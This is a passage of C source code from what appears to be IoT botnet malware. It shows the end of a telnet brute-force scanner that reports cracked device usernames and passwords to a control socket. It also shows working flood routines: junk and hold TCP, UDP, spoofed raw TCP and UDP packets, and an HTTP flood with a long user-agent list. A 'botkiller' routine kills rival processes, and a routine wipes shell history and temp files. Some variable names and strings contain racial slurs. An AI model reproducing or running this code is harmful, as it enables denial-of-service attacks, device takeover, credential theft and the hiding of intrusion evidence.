  1920. if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0) {
  1921. fds[i].state = 0;
  1922. fds[i].complete = 1;
  1923. continue; }
  1924. fds[i].state = 6;
  1925. }
  1926. break;
  1927. case 6:
  1928. {
  1929. if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, BUFFER_SIZE, advances2)) {
  1930. fds[i].totalTimeout = time(NULL);
  1931. if(contains_fail(fds[i].sockbuf)) {
  1932. fds[i].state = 0; }
  1933. else if(contains_success(fds[i].sockbuf)) {
  1934. if(fds[i].complete == 2) {
  1935. fds[i].state = 7; }
  1936. else {
  1937. HackerPrint(mainCommSock, "\x1b[0;31mTelnet Device Connecting: \x1b[0;33m%s | \x1b[0;31mUsername: \x1b[0;33m%s | \x1b[0;31mPassword: \x1b[0;33m%s\x1b[0m", get_telstate_host(&fds[i]), usernames[fds[i].usernameInd], passwords[fds[i].passwordInd]);
  1938. HackerPrint(mainCommSock, "REPORT %s:%s:%s", get_telstate_host(&fds[i]), usernames[fds[i].usernameInd], passwords[fds[i].passwordInd]);
  1939. fds[i].state = 7; }
  1940. } else {
  1941. fds[i].state = 0;
  1942. fds[i].complete = 1;
  1943. } continue; }
  1944. if(fds[i].totalTimeout + 7 < time(NULL)) {
  1945. fds[i].state = 0;
  1946. fds[i].complete = 1;
  1947. }
  1948. }
  1949. break;
  1950. case 7:
  1951. {
  1952. fds[i].totalTimeout = time(NULL);
  1953. if(send(fds[i].fd, hvgsgd, strlen(hvgsgd), MSG_NOSIGNAL) < 0) {
  1954. sclose(fds[i].fd);
  1955. fds[i].state = 0;
  1956. fds[i].complete = 1;
  1957. continue; }
  1958. fds[i].complete = 3;
  1959. if(fds[i].totalTimeout + 60 < time(NULL)) {
  1960. if(fds[i].complete !=3){
  1961. }
  1962. fds[i].state = 0;
  1963. fds[i].complete = 1;
  1964. }
  1965. break;
  1966. }
  1967. }
  1968. }
  1969. }
  1970. }
  1971.  
  1972. //Sends Junk Flood
  1973. void sendJUNK(unsigned char *ip, int port, int end_time)
  1974. {
  1975.  
  1976. int max = getdtablesize() / 2, i;
  1977.  
  1978. struct sockaddr_in dest_addr;
  1979. dest_addr.sin_family = AF_INET;
  1980. dest_addr.sin_port = htons(port);
  1981. if(getHost(ip, &dest_addr.sin_addr)) return;
  1982. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1983.  
  1984. struct state_t
  1985. {
  1986. int fd;
  1987. uint8_t state;
  1988. } fds[max];
  1989. memset(fds, 0, max * (sizeof(int) + 1));
  1990.  
  1991. fd_set myset;
  1992. struct timeval tv;
  1993. socklen_t lon;
  1994. int valopt, res;
  1995.  
  1996. unsigned char *watwat = malloc(1024);
  1997. memset(watwat, 0, 1024);
  1998.  
  1999. int end = time(NULL) + end_time;
  2000. while(end > time(NULL))
  2001. {
  2002. for(i = 0; i < max; i++)
  2003. {
  2004. switch(fds[i].state)
  2005. {
  2006. case 0:
  2007. {
  2008. fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);
  2009. fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
  2010. if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) != -1 || errno != EINPROGRESS) close(fds[i].fd);
  2011. else fds[i].state = 1;
  2012. }
  2013. break;
  2014.  
  2015. case 1:
  2016. {
  2017. FD_ZERO(&myset);
  2018. FD_SET(fds[i].fd, &myset);
  2019. tv.tv_sec = 0;
  2020. tv.tv_usec = 10000;
  2021. res = select(fds[i].fd+1, NULL, &myset, NULL, &tv);
  2022. if(res == 1)
  2023. {
  2024. lon = sizeof(int);
  2025. getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  2026. if(valopt)
  2027. {
  2028. close(fds[i].fd);
  2029. fds[i].state = 0;
  2030. } else {
  2031. fds[i].state = 2;
  2032. }
  2033. } else if(res == -1)
  2034. {
  2035. close(fds[i].fd);
  2036. fds[i].state = 0;
  2037. }
  2038. }
  2039. break;
  2040.  
  2041. case 2:
  2042. {
  2043. makeRandomStr(watwat, 1024);
  2044. if(send(fds[i].fd, watwat, 1024, MSG_NOSIGNAL) == -1 && errno != EAGAIN)
  2045. {
  2046. close(fds[i].fd);
  2047. fds[i].state = 0;
  2048. }
  2049. }
  2050. break;
  2051. }
  2052. }
  2053. }
  2054. }
  2055.  
  2056. //Sends HOLD Flood
  2057. void sendHOLD(unsigned char *ip, int port, int end_time)
  2058. {
  2059. int max = getdtablesize() / 2, i;
  2060. struct sockaddr_in dest_addr;
  2061. dest_addr.sin_family = AF_INET;
  2062. dest_addr.sin_port = htons(port);
  2063. if(getHost(ip, &dest_addr.sin_addr)) return;
  2064. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  2065. struct state_t
  2066. {
  2067. int fd;
  2068. uint8_t state;
  2069. } fds[max];
  2070. memset(fds, 0, max * (sizeof(int) + 1));
  2071. fd_set myset;
  2072. struct timeval tv;
  2073. socklen_t lon;
  2074. int valopt, res;
  2075. unsigned char *watwat = malloc(1024);
  2076. memset(watwat, 0, 1024);
  2077. int end = time(NULL) + end_time;
  2078. while(end > time(NULL))
  2079. {
  2080. for(i = 0; i < max; i++)
  2081. {
  2082. switch(fds[i].state)
  2083. {
  2084. case 0:
  2085. {
  2086. fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);
  2087. fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
  2088. if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) != -1 || errno != EINPROGRESS) close(fds[i].fd);
  2089. else fds[i].state = 1;
  2090. }
  2091. break;
  2092. case 1:
  2093. {
  2094. FD_ZERO(&myset);
  2095. FD_SET(fds[i].fd, &myset);
  2096. tv.tv_sec = 0;
  2097. tv.tv_usec = 10000;
  2098. res = select(fds[i].fd+1, NULL, &myset, NULL, &tv);
  2099. if(res == 1)
  2100. {
  2101. lon = sizeof(int);
  2102. getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  2103. if(valopt)
  2104. {
  2105. close(fds[i].fd);
  2106. fds[i].state = 0;
  2107. } else {
  2108. fds[i].state = 2;
  2109. }
  2110. } else if(res == -1)
  2111. {
  2112. close(fds[i].fd);
  2113. fds[i].state = 0;
  2114. }
  2115. }
  2116. break;
  2117. case 2:
  2118. {
  2119. FD_ZERO(&myset);
  2120. FD_SET(fds[i].fd, &myset);
  2121. tv.tv_sec = 0;
  2122. tv.tv_usec = 10000;
  2123. res = select(fds[i].fd+1, NULL, NULL, &myset, &tv);
  2124. if(res != 0)
  2125. {
  2126. close(fds[i].fd);
  2127. fds[i].state = 0;
  2128. }
  2129. }
  2130. break;
  2131. }
  2132. }
  2133. }
  2134. }
  2135.  
  2136. void sendSTD(unsigned char *ip, int port, int secs) {
  2137.  
  2138. int iSTD_Sock;
  2139.  
  2140. iSTD_Sock = socket(AF_INET, SOCK_DGRAM, 0);
  2141.  
  2142. time_t start = time(NULL);
  2143.  
  2144. struct sockaddr_in sin;
  2145.  
  2146. struct hostent *hp;
  2147.  
  2148. hp = gethostbyname(ip);
  2149.  
  2150. bzero((char*) &sin,sizeof(sin));
  2151. bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length);
  2152. sin.sin_family = hp->h_addrtype;
  2153. sin.sin_port = port;
  2154.  
  2155. unsigned int a = 0;
  2156.  
  2157. while(1){
  2158. char *randstrings[] = {"arfgG", "HBiug655", "KJYDFyljf754", "LIKUGilkut769458905", "JHFDSkgfc5747694", "GJjyur67458", "RYSDk747586", "HKJGi5r8675", "KHGK7985i", "yuituiILYF", "GKJDghfcjkgd4", "uygtfgtrevf", "tyeuhygbtfvg", "ewqdcftr", "trbazetghhnbrty", "tbhrwsehbg", "twehgbferhb", "etrbhhgetrb", "edfverthbyrtb", "kmiujmnhnhfgn", "zcdbvgdfsbgfd", "gdfbtsdgb", "ghdugffytsdyt", "tgerthgwtrwry", "yteytietyue", "qsortEQS", "8969876hjkghblk", "std", "dts", "lsk", "kek", "smack", "ily", "tyf", "pos", "cunts"};
  2159. char *STD2_STRING = randstrings[rand() % (sizeof(randstrings) / sizeof(char *))];
  2160. if (a >= 50)
  2161. {
  2162. send(iSTD_Sock, STD2_STRING, STD2_SIZE, 0);
  2163. connect(iSTD_Sock,(struct sockaddr *) &sin, sizeof(sin));
  2164. if (time(NULL) >= start + secs)
  2165. {
  2166. close(iSTD_Sock);
  2167. _exit(0);
  2168. }
  2169. a = 0;
  2170. }
  2171. a++;
  2172. }
  2173. }
  2174.  
  2175. void sendUDP(unsigned char *target, int port, int timeEnd, int spoofit, int packetsize, int pollinterval, int sleepcheck, int sleeptime)
  2176. {
  2177. struct sockaddr_in dest_addr;
  2178.  
  2179. dest_addr.sin_family = AF_INET;
  2180. if(port == 0) dest_addr.sin_port = rand_cmwc();
  2181. else dest_addr.sin_port = htons(port);
  2182. if(getHost(target, &dest_addr.sin_addr)) return;
  2183. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  2184.  
  2185. register unsigned int pollRegister;
  2186. pollRegister = pollinterval;
  2187.  
  2188. if(spoofit == 32)
  2189. {
  2190. int sockfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
  2191. if(!sockfd)
  2192. {
  2193. sockprintf(mainCommSock, "Failed opening raw socket.");
  2194. return;
  2195. }
  2196.  
  2197. unsigned char *buf = (unsigned char *)malloc(packetsize + 1);
  2198. if(buf == NULL) return;
  2199. memset(buf, 0, packetsize + 1);
  2200. makeRandomStr(buf, packetsize);
  2201.  
  2202. int end = time(NULL) + timeEnd;
  2203. register unsigned int i = 0;
  2204. register unsigned int ii = 0;
  2205. while(1)
  2206. {
  2207. sendto(sockfd, buf, packetsize, 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  2208.  
  2209. if(i == pollRegister)
  2210. {
  2211. if(port == 0) dest_addr.sin_port = rand_cmwc();
  2212. if(time(NULL) > end) break;
  2213. i = 0;
  2214. continue;
  2215. }
  2216. i++;
  2217. if(ii == sleepcheck)
  2218. {
  2219. usleep(sleeptime*1000);
  2220. ii = 0;
  2221. continue;
  2222. }
  2223. ii++;
  2224. }
  2225. } else {
  2226. int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_UDP);
  2227. if(!sockfd)
  2228. {
  2229. sockprintf(mainCommSock, "Failed opening raw socket.");
  2230. return;
  2231. }
  2232.  
  2233. int tmp = 1;
  2234. if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0)
  2235. {
  2236. sockprintf(mainCommSock, "Failed setting raw headers mode.");
  2237. return;
  2238. }
  2239.  
  2240. int counter = 50;
  2241. while(counter--)
  2242. {
  2243. srand(time(NULL) ^ rand_cmwc());
  2244. init_rand(rand());
  2245. }
  2246.  
  2247. in_addr_t netmask;
  2248.  
  2249. if ( spoofit == 0 ) netmask = ( ~((in_addr_t) -1) );
  2250. else netmask = ( ~((1 << (32 - spoofit)) - 1) );
  2251.  
  2252. unsigned char packet[sizeof(struct iphdr) + sizeof(struct udphdr) + packetsize];
  2253. struct iphdr *iph = (struct iphdr *)packet;
  2254. struct udphdr *udph = (void *)iph + sizeof(struct iphdr);
  2255.  
  2256. makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( GetRandomIP(netmask) ), IPPROTO_UDP, sizeof(struct udphdr) + packetsize);
  2257.  
  2258. udph->len = htons(sizeof(struct udphdr) + packetsize);
  2259. udph->source = rand_cmwc();
  2260. udph->dest = (port == 0 ? rand_cmwc() : htons(port));
  2261. udph->check = 0;
  2262.  
  2263. makeRandomStr((unsigned char*)(((unsigned char *)udph) + sizeof(struct udphdr)), packetsize);
  2264.  
  2265. iph->check = csum ((unsigned short *) packet, iph->tot_len);
  2266.  
  2267. int end = time(NULL) + timeEnd;
  2268. register unsigned int i = 0;
  2269. register unsigned int ii = 0;
  2270. while(1)
  2271. {
  2272. sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  2273.  
  2274. udph->source = rand_cmwc();
  2275. udph->dest = (port == 0 ? rand_cmwc() : htons(port));
  2276. iph->id = rand_cmwc();
  2277. iph->saddr = htonl( GetRandomIP(netmask) );
  2278. iph->check = csum ((unsigned short *) packet, iph->tot_len);
  2279.  
  2280. if(i == pollRegister)
  2281. {
  2282. if(time(NULL) > end) break;
  2283. i = 0;
  2284. continue;
  2285. }
  2286. i++;
  2287.  
  2288. if(ii == sleepcheck)
  2289. {
  2290. usleep(sleeptime*1000);
  2291. ii = 0;
  2292. continue;
  2293. }
  2294. ii++;
  2295. }
  2296. }
  2297. }
  2298.  
  2299. void sendTCP(unsigned char *target, int port, int timeEnd, int spoofit, unsigned char *flags, int packetsize, int pollinterval)
  2300. {
  2301. register unsigned int pollRegister;
  2302. pollRegister = pollinterval;
  2303.  
  2304. struct sockaddr_in dest_addr;
  2305.  
  2306. dest_addr.sin_family = AF_INET;
  2307. if(port == 0) dest_addr.sin_port = rand_cmwc();
  2308. else dest_addr.sin_port = htons(port);
  2309. if(getHost(target, &dest_addr.sin_addr)) return;
  2310. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  2311.  
  2312. int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
  2313. if(!sockfd)
  2314. {
  2315. sockprintf(mainCommSock, "Failed opening raw socket.");
  2316. return;
  2317. }
  2318.  
  2319. int tmp = 1;
  2320. if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0)
  2321. {
  2322. sockprintf(mainCommSock, "Failed setting raw headers mode.");
  2323. return;
  2324. }
  2325.  
  2326. in_addr_t netmask;
  2327.  
  2328. if ( spoofit == 0 ) netmask = ( ~((in_addr_t) -1) );
  2329. else netmask = ( ~((1 << (32 - spoofit)) - 1) );
  2330.  
  2331. unsigned char packet[sizeof(struct iphdr) + sizeof(struct tcphdr) + packetsize];
  2332. struct iphdr *iph = (struct iphdr *)packet;
  2333. struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
  2334.  
  2335. makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( GetRandomIP(netmask) ), IPPROTO_TCP, sizeof(struct tcphdr) + packetsize);
  2336.  
  2337. tcph->source = rand_cmwc();
  2338. tcph->seq = rand_cmwc();
  2339. tcph->ack_seq = 0;
  2340. tcph->doff = 5;
  2341.  
  2342. if(!strcmp(flags, "all"))
  2343. {
  2344. tcph->syn = 1;
  2345. tcph->rst = 1;
  2346. tcph->fin = 1;
  2347. tcph->ack = 1;
  2348. tcph->psh = 1;
  2349. } else {
  2350. unsigned char *pch = strtok(flags, ",");
  2351. while(pch)
  2352. {
  2353. if(!strcmp(pch, "syn"))
  2354. {
  2355. tcph->syn = 1;
  2356. } else if(!strcmp(pch, "rst"))
  2357. {
  2358. tcph->rst = 1;
  2359. } else if(!strcmp(pch, "fin"))
  2360. {
  2361. tcph->fin = 1;
  2362. } else if(!strcmp(pch, "ack"))
  2363. {
  2364. tcph->ack = 1;
  2365. } else if(!strcmp(pch, "psh"))
  2366. {
  2367. tcph->psh = 1;
  2368. } else {
  2369. sockprintf(mainCommSock, "Invalid flag \"%s\"", pch);
  2370. }
  2371. pch = strtok(NULL, ",");
  2372. }
  2373. }
  2374.  
  2375. tcph->window = rand_cmwc();
  2376. tcph->check = 0;
  2377. tcph->urg_ptr = 0;
  2378. tcph->dest = (port == 0 ? rand_cmwc() : htons(port));
  2379. tcph->check = tcpcsum(iph, tcph);
  2380.  
  2381. iph->check = csum ((unsigned short *) packet, iph->tot_len);
  2382.  
  2383. int end = time(NULL) + timeEnd;
  2384. register unsigned int i = 0;
  2385. while(1)
  2386. {
  2387. sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  2388.  
  2389. iph->saddr = htonl( GetRandomIP(netmask) );
  2390. iph->id = rand_cmwc();
  2391. tcph->seq = rand_cmwc();
  2392. tcph->source = rand_cmwc();
  2393. tcph->check = 0;
  2394. tcph->check = tcpcsum(iph, tcph);
  2395. iph->check = csum ((unsigned short *) packet, iph->tot_len);
  2396.  
  2397. if(i == pollRegister)
  2398. {
  2399. if(time(NULL) > end) break;
  2400. i = 0;
  2401. continue;
  2402. }
  2403. i++;
  2404. }
  2405. }
  2406.  
  2407. void botkiller(){
  2408. char* Niggerdirs[] = {"/dev/netslink/", "/tmp/", "/var/", "/dev/", "/var/run/", "/dev/shm/", "/mnt/", "/boot/", "/usr/", (char*) 0};//wtf are we doing here well these are the directory
  2409. char* Boats[] = {"wget", "armv*", "bot*", "ntpd*", "hackz*", "shitty*","jack*", "mips*", "sex*", "i86", "ssh*", "sh4*", "jackmeoff*", "tftp*", "i56", "mips", "mipsel", "sh4", "x86", "i686", "ppc", "i586", "i586"};
  2410. const char *bots[] = {"jackmy*", "busybox*", "bin*", "sex*", "tftp*", "arm*", "mipsel*", "mips*", "mips64*", "i686*","sparc*", "sh4*", "bot*", "jackmeoff*", "hackz*", "bruv*"};
  2411. char hacker[80];
  2412. char botkill[80];
  2413. char buf[128];
  2414. int i, num_tmps, j;
  2415. for(j = 0; j < num_tmps; j++)
  2416. {
  2417. memset(buf, 0, 128);
  2418. if(j == 0)
  2419. snprintf(buf, 127, ">%s.t && cd %s && for a in `ls -a %s`; do >$a; done; >retrieve ;echo ps aux >> proc ; pkill -9 %d\r\n", Niggerdirs[j], Niggerdirs[j], Niggerdirs[j], Niggerdirs[j], bots[j]);
  2420. else
  2421. snprintf(buf, 127, ">%s.t && cd %s ; >retrieve\r\n", Niggerdirs[j], Niggerdirs[j], Niggerdirs[j]);
  2422. system(buf);
  2423. sprintf(botkill, "pkill -9 %s\r\n", bots[j]);
  2424. system(botkill);
  2425. return;
  2426. }
  2427. sleep(5);
  2428. }
  2429.  
  2430. void ClearHistory()
  2431. {
  2432. system("history -c;history -w");
  2433. system("cd /root;rm -rf .bash_history");
  2434. system("cd /var/tmp; rm -f *");
  2435. }
  2436.  
  2437. // HTTP Flood
  2438. void sendHTTP(void *host, char *method, in_port_t port, char *path, int timeFoo, int power) {
  2439. const char *useragents[] = {
  2440. "Mozilla/5.0 (compatible; Konqueror/3.0; i686 Linux; 20021117)",
  2441. "Mozilla/5.0 (Windows NT 6.1; WOW64) SkypeUriPreview Preview/0.5",
  2442. "Mozilla/5.0 (iPhone; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10",
  2443. "Mozilla/5.0 Galeon/1.0.3 (X11; Linux i686; U;) Gecko/0",
  2444. "Opera/6.04 (Windows XP; U) [en]",
  2445. "Opera/9.99 (X11; U; sk)",
  2446. "Mozilla/6.0 (Future Star Technologies Corp. Star-Blade OS; U; en-US) iNet Browser 2.5",
  2447. "Mozilla/5.0(iPad; U; CPU iPhone OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B314 Safari/531.21.10gin_lib.cc",
  2448. "Mozilla/5.0 Galeon/1.2.9 (X11; Linux i686; U;) Gecko/20021213 Debian/1.2.9-0.bunk",
  2449. "Mozilla/5.0 Slackware/13.37 (X11; U; Linux x86_64; en-US) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.41",
  2450. "Mozilla/5.0 (compatible; iCab 3.0.3; Macintosh; U; PPC Mac OS)",
  2451. "Opera/9.80 (J2ME/MIDP; Opera Mini/5.0 (Windows; U; Windows NT 5.1; en) AppleWebKit/886; U; en) Presto/2.4.15"
  2452. "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0",
  2453. "Mozilla/5.0 (X11; U; Linux ppc; en-US; rv:1.9a8) Gecko/2007100620 GranParadiso/3.1",
  2454. "Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)",
  2455. "Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en; rv:1.8.1.11) Gecko/20071128 Camino/1.5.4",
  2456. "Mozilla/5.0 (Windows; U; Windows NT 6.1; rv:2.2) Gecko/20110201",
  2457. "Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.6) Gecko/2009020911",
  2458. "Mozilla/5.0 (Windows; U; Windows NT 6.1; cs; rv:1.9.2.6) Gecko/20100628 myibrow/4alpha2",
  2459. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; MyIE2; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0)",
  2460. "Mozilla/5.0 (Windows; U; Win 9x 4.90; SG; rv:1.9.2.4) Gecko/20101104 Netscape/9.1.0285",
  2461. "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.8) Gecko/20090327 Galeon/2.0.7",
  2462. "Mozilla/5.0 (PLAYSTATION 3; 3.55)",
  2463. "Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Thunderbird/38.2.0 Lightning/4.0.2",
  2464. "wii libnup/1.0",
  2465. "Mozilla/4.0 (PSP (PlayStation Portable); 2.00)",
  2466. "PSP (PlayStation Portable); 2.00",
  2467. "Bunjalloo/0.7.6(Nintendo DS;U;en)",
  2468. "Doris/1.15 [en] (Symbian)",
  2469. "BlackBerry7520/4.0.0 Profile/MIDP-2.0 Configuration/CLDC-1.1",
  2470. "BlackBerry9700/5.0.0.743 Profile/MIDP-2.1 Configuration/CLDC-1.1 VendorID/100",
  2471. "Opera/9.80 (X11; Linux i686; Ubuntu/14.10) Presto/2.12.388 Version/12.16",
  2472. "Opera/9.80 (Windows NT 5.1; U;) Presto/2.7.62 Version/11.01",
  2473. "Mozilla/5.0 (X11; Linux x86_64; U; de; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 10.62",
  2474. "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36",
  2475. "Mozilla/5.0 (Linux; Android 4.4.3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.89 Mobile Safari/537.36",
  2476. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.39 Safari/525.19",
  2477. "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0; chromeframe/11.0.696.57)",
  2478. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; uZardWeb/1.0; Server_JP)",
  2479. "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7; en-us) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Safari/530.17 Skyfire/2.0",
  2480. "SonyEricssonW800i/R1BD001/SEMC-Browser/4.2 Profile/MIDP-2.0 Configuration/CLDC-1.1",
  2481. "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/4.0; FDM; MSIECrawler; Media Center PC 5.0)",
  2482. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:5.0) Gecko/20110517 Firefox/5.0 Fennec/5.0",
  2483. "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; FunWebProducts)",
  2484. "MOT-V300/0B.09.19R MIB/2.2 Profile/MIDP-2.0 Configuration/CLDC-1.0",
  2485. "Mozilla/5.0 (Android; Linux armv7l; rv:9.0) Gecko/20111216 Firefox/9.0 Fennec/9.0",
  2486. "Mozilla/5.0 (compatible; Teleca Q7; Brew 3.1.5; U; en) 480X800 LGE VX11000",
  2487. "MOT-L7/08.B7.ACR MIB/2.2.1 Profile/MIDP-2.0 Configuration/CLDC-1.1",
  2488. "Mozilla/5.0 (Windows NT 6.1; WOW64) SkypeUriPreview Preview/0.5",
  2489. "Mozilla/5.0 (compatible; Konqueror/3.0; i686 Linux; 20021117)",
  2490. "Mozilla/5.0 (Windows NT 6.1; WOW64) SkypeUriPreview Preview/0.5",
  2491. "Mozilla/5.0 (iPhone; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10",
  2492. "Mozilla/5.0 Galeon/1.0.3 (X11; Linux i686; U;) Gecko/0",
  2493. "Opera/6.04 (Windows XP; U) [en]",
  2494. "Opera/9.99 (X11; U; sk)",
  2495. "Mozilla/6.0 (Future Star Technologies Corp. Star-Blade OS; U; en-US) iNet Browser 2.5",
  2496. "Mozilla/5.0(iPad; U; CPU iPhone OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B314 Safari/531.21.10gin_lib.cc",
  2497. "Mozilla/5.0 Galeon/1.2.9 (X11; Linux i686; U;) Gecko/20021213 Debian/1.2.9-0.bunk",
  2498. "Mozilla/5.0 Slackware/13.37 (X11; U; Linux x86_64; en-US) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.41",
  2499. "Mozilla/5.0 (compatible; iCab 3.0.3; Macintosh; U; PPC Mac OS)",
  2500. "Opera/9.80 (J2ME/MIDP; Opera Mini/5.0 (Windows; U; Windows NT 5.1; en) AppleWebKit/886; U; en) Presto/2.4.15"
  2501. "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0",
  2502. "Mozilla/5.0 (X11; U; Linux ppc; en-US; rv:1.9a8) Gecko/2007100620 GranParadiso/3.1",
  2503. "Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)",
  2504. "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 "
  2505. "Firefox/3.5.3",
  2506. "Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 "
  2507. "Firefox/3.5.3 (.NET CLR 3.5.30729)",
  2508. "Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) "
  2509. "Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)",
  2510. "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) "
  2511. "Gecko/20090718 Firefox/3.5.1",
  2512. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 "
  2513. "(KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1",
  2514. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; "
  2515. "SLCC2; .NET CLR 2.0.50727; InfoPath.2)",
  2516. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; "
  2517. ".NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR "
  2518. "3.0.30729)",
  2519. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; "
  2520. "Trident/4.0)",
  2521. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; "
  2522. ".NET CLR 2.0.50727; InfoPath.2)",
  2523. "Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)",
  2524. "Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)",
  2525. "Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51",
  2526. "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) "
  2527. "Chrome/41.0.2228.0 Safari/537.36",
  2528. "Mozilla/5.0 (Windows; U; Windows NT 6.1; rv:2.2) Gecko/20110201",
  2529. "Opera/9.80 (X11; Linux i686; Ubuntu/14.10) Presto/2.12.388 "
  2530. "Version/12.16",
  2531. "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like "
  2532. "Gecko",
  2533. "Mozilla/5.0 (compatible, MSIE 11, Windows NT 6.3; Trident/7.0; rv:11.0) "
  2534. "like Gecko",
  2535. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 "
  2536. "(KHTML, like Gecko) Version/7.0.3 Safari/7046A194A"
  2537. "Baiduspider+(+http://www.baidu.com/search/spider.htm)",
  2538. "Mozilla/5.0 (compatible; BecomeBot/3.0; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)",
  2539. "Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)",
  2540. "Mozilla/5.0 (compatible; BeslistBot; nl; BeslistBot 1.0; http://www.beslist.nl/",
  2541. "BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)",
  2542. "zspider/0.9-dev http://feedback.redkolibri.com/",
  2543. "Mozilla/4.0 compatible ZyBorg/1.0 DLC (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)",
  2544. "Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)",
  2545. "Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.dlc@looksmart.net; http://www.WISEnutbot.com)",
  2546. "Mozilla/4.0 compatible ZyBorg/1.0 (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)",
  2547. "Mozilla/4.0 compatible ZyBorg/1.0 (wn-16.zyborg@looksmart.net; http://www.WISEnutbot.com)",
